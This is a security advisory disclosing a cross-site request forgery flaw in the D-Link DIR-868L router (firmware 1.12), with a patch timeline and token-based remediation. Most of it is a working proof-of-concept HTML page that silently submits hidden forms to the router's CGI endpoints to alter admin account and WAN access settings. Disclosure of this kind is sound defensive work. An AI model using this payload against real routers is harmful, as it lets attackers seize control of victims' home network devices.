D-Link DIR-868L 1.12 Cross Site Request Forgery

2018.05.09
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

Confidentiality class: Internal & Partner ======================================================================= title: Cross Site Request Forgery product: DIR-868L vulnerable version: 1.12 fixed version: 1.20B01 impact: Medium homepage: http://www.dlink.com/ found: 2018-02-18 by: S. Tripathy ======================================================================= Vendor description: ------------------- "Founded in 1986, D-Link is a global leader in the design, manufacture and marketing of advanced networking, broadband, digital, voice and data communications solutions. Following our company motto, aBuilding Networks for Peoplea, D-Link continually meets the global networking and connectivity needs of digital home consumers, small office professionals, small to medium-sized businesses, and enterprise environments." Source: http://www.dlink.com.sg/about-d-link/ User recommendation: ------------------------ It's recommended to the user's not to open/use any other URL/Webpage while working on the administration page of DLink DIR-868L router. Vulnerability overview/description: ----------------------------------- 1) Cross Site Request Forgery An attacker can use cross-site request forgery vulnerability to perform arbitrary web requests with the identity of the victim without being noticed by the victim. Proof of concept: ----------------- 1) Cross Site Request Forgery A malicious HTML file can be hosted in an attacker's controlled server, once an authenticated victim vists the malicious website/URL, the payload will get executed, and some actions will be performed, such as changing the administration password in the worst case. Example of an malicious HTML file: (The following CSRF PoC can be used to change some router settings and can be modified to change the Admin password) ==================================================================================================================== <!DOCTYPE html><html><head> <title> D-Link CSRF</title> <script type="text/javascript"> function exec1() { document.getElementById('form1').submit(); setTimeout(exec2, 3000); } function exec2() { document.getElementById('form2').submit(); } window.onbeforeunload=function(){ return "please wait"; } </script> </head><body> <h3> Your D-Link Device Settings Has Been Changed</h4> <body onload="exec1();" > <form id="form1" target="if1" action="http://192.168.0.1/hedwig.cgi" method="POST" enctype="text/plain"> <input type="hidden" name="&lt;&#63;xml&#32;version" value="&quot;1&#46;0&quot;&#32;encoding&#61;&quot;UTF&#45;8&quot;&#63;&gt;&#10;&lt;postxml&gt;&#10;&lt;module&gt;&#10;&#9;&lt;service&gt;DEVICE&#46;ACCOUNT&lt;&#47;service&gt;&#10;&#9;&lt;device&gt;&#10;&#9;&#9;&lt;gw&#95;name&gt;DIR&#45;868L&lt;&#47;gw&#95;name&gt;&#10;&#9;&#9;&#10;&#9;&#9;&lt;account&gt;&#10;&#9;&#9;&#9;&lt;seqno&gt;1&lt;&#47;seqno&gt;&#10;&#9;&#9;&#9;&lt;max&gt;2&lt;&#47;max&gt;&#10;&#9;&#9;&#9;&lt;count&gt;1&lt;&#47;count&gt;&#10;&#9;&#9;&#9;&lt;entry&gt;&#10;&#9;&#9;&#9;&#9;&lt;uid&gt;USR&#45;&lt;&#47;uid&gt;&#10;&#9;&#9;&#9;&#9;&lt;name&gt;Admin&lt;&#47;name&gt;&#10;&#9;&#9;&#9;&#9;&lt;usrid&#47;&gt;&#10;&#9;&#9;&#9;&#9;&lt;password&#47;&gt;&#10;&#9;&#9;&#9;&#9;&lt;group&gt;0&lt;&#47;group&gt;&#10;&#9;&#9;&#9;&#9;&lt;description&#47;&gt;&#10;&#9;&#9;&#9;&lt;&#47;entry&gt;&#10;&#9;&#9;&lt;&#47;account&gt;&#10;&#9;&#9;&lt;group&gt;&#10;&#9;&#9;&#9;&lt;seqno&#47;&gt;&#10;&#9;&#9;&#9;&lt;max&#47;&gt;&#10;&#9;&#9;&#9;&lt;count&gt;0&lt;&#47;count&gt;&#10;&#9;&#9;&lt;&#47;group&gt;&#10;&#9;&#9;&lt;session&gt;&#10;&#9;&#9;&#9;&lt;captcha&gt;0&lt;&#47;captcha&gt;&#10;&#9;&#9;&#9;&lt;dummy&#47;&gt;&#10;&#9;&#9;&#9;&lt;timeout&gt;180&lt;&#47;timeout&gt;&#10;&#9;&#9;&#9;&lt;maxsession&gt;128&lt;&#47;maxsession&gt;&#10;&#9;&#9;&#9;&lt;maxauthorized&gt;16&lt;&#47;maxauthorized&gt;&#10;&#9;&#9;&lt;&#47;session&gt;&#10;&#9;&lt;&#47;device&gt;&#10;&lt;&#47;module&gt;&#10;&lt;module&gt;&#10;&#9;&lt;service&gt;HTTP&#46;WAN&#45;1&lt;&#47;service&gt;&#10;&#9;&lt;inf&gt;&#10;&#9;&#9;&lt;web&gt;&lt;&#47;web&gt;&#10;&#9;&#9;&lt;https&#95;rport&gt;&lt;&#47;https&#95;rport&gt;&#10;&#9;&#9;&lt;stunnel&gt;0&lt;&#47;stunnel&gt;&#10;&#9;&#9;&lt;weballow&gt;&#10;&#9;&#9;&#9;&lt;hostv4ip&#47;&gt;&#10;&#9;&#9;&lt;&#47;weballow&gt;&#10;&#9;&#9;&lt;inbfilter&#47;&gt;&#10;&#9;&lt;&#47;inf&gt;&#10;&#9;&#10;&lt;&#47;module&gt;&#10;&lt;module&gt;&#10;&#9;&lt;service&gt;HTTP&#46;WAN&#45;2&lt;&#47;service&gt;&#10;&#9;&lt;inf&gt;&#10;&#9;&#9;&lt;active&gt;0&lt;&#47;active&gt;&#10;&#9;&#9;&lt;nat&gt;NAT&#45;1&lt;&#47;nat&gt;&#10;&#9;&#9;&lt;web&#47;&gt;&#10;&#9;&#9;&lt;weballow&gt;&#10;&#9;&#9;&#9;&lt;hostv4ip&#47;&gt;&#10;&#9;&#9;&lt;&#47;weballow&gt;&#10;&#9;&lt;&#47;inf&gt;&#10;&#9;&#10;&lt;&#47;module&gt;&#10;&lt;module&gt;&#10;&#9;&lt;service&gt;INBFILTER&lt;&#47;service&gt;&#10;&#9;&lt;acl&gt;&#10;&#9;&#9;&lt;inbfilter&gt;&#9;&#9;&#10;&#9;&#9;&#9;&#9;&#9;&#9;&lt;seqno&gt;1&lt;&#47;seqno&gt;&#10;&#9;&#9;&#9;&lt;max&gt;24&lt;&#47;max&gt;&#10;&#9;&#9;&#9;&lt;count&gt;0&lt;&#47;count&gt;&#10;&#10;&#9;&#9;&lt;&#47;inbfilter&gt;&#9;&#9;&#10;&#9;&lt;&#47;acl&gt;&#10;&#9;&lt;ACTIVATE&gt;ignore&lt;&#47;ACTIVATE&gt;&#10;&lt;FATLADY&gt;ignore&lt;&#47;FATLADY&gt;&lt;SETCFG&gt;ignore&lt;&#47;SETCFG&gt;&lt;&#47;module&gt;&#10;&lt;module&gt;&#10;&#9;&lt;service&gt;SHAREPORT&lt;&#47;service&gt;&#10;&#9;&lt;FATLADY&gt;ignore&lt;&#47;FATLADY&gt;&#10;&#9;&#10;&lt;ACTIVATE&gt;ignore&lt;&#47;ACTIVATE&gt;&lt;&#47;module&gt;&#10;&lt;module&gt;&#10;&#9;&lt;FATLADY&gt;ignore&lt;&#47;FATLADY&gt;&#10;&#9;&lt;SETCFG&gt;ignore&lt;&#47;SETCFG&gt;&#10;&#9;&lt;service&gt;SAMBA&lt;&#47;service&gt;&#10;&lt;&#47;module&gt;&#10;&lt;&#47;postxml&gt;" /> </form> <form id="form2" target="if2" action="http://192.168.0.1/pigwidgeon.cgi" method="POST"> <input type="hidden" name="ACTIONS" value="SETCFG&#44;SAVE&#44;ACTIVATE" /> </form> <iframe name="if1" style="display: hidden=" width="0" height="0" frameborder="0" ></iframe> <iframe name="if2" style="display: hidden=" width="0" height="0" frameborder="0"></iframe> </body></html> ==================================================================================================================== Vulnerable / tested versions: ----------------------------- The following version is affected by the identified vulnerability which was the most recent version at the time of discovery: Wireless AC1750 Dual Band Gigabit Cloud Router: DIR-868L Vendor contact timeline: ------------------------ 2018-02-18: Contacting vendor through support page 2018-02-21: Vendor shared the contact detials with email encrytion key. 2018-02-21: Reported the Vulnerability 2018-04-19: Vendor Released a Patch Solution: --------- Each request that performs write access or changes the state of the application must be outfitted with a shared secret (token). It can be implemented by using a hidden field inside the form used to perform the sensitive action or inside a custom header field. The shared secret is stored into the session of the user on the server side to compare it against the value sent with the request. Each request that does not match the corresponding shared secret must be ignored. Workaround: ----------- --- EOF Siddhartha Tripathy / @2018


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top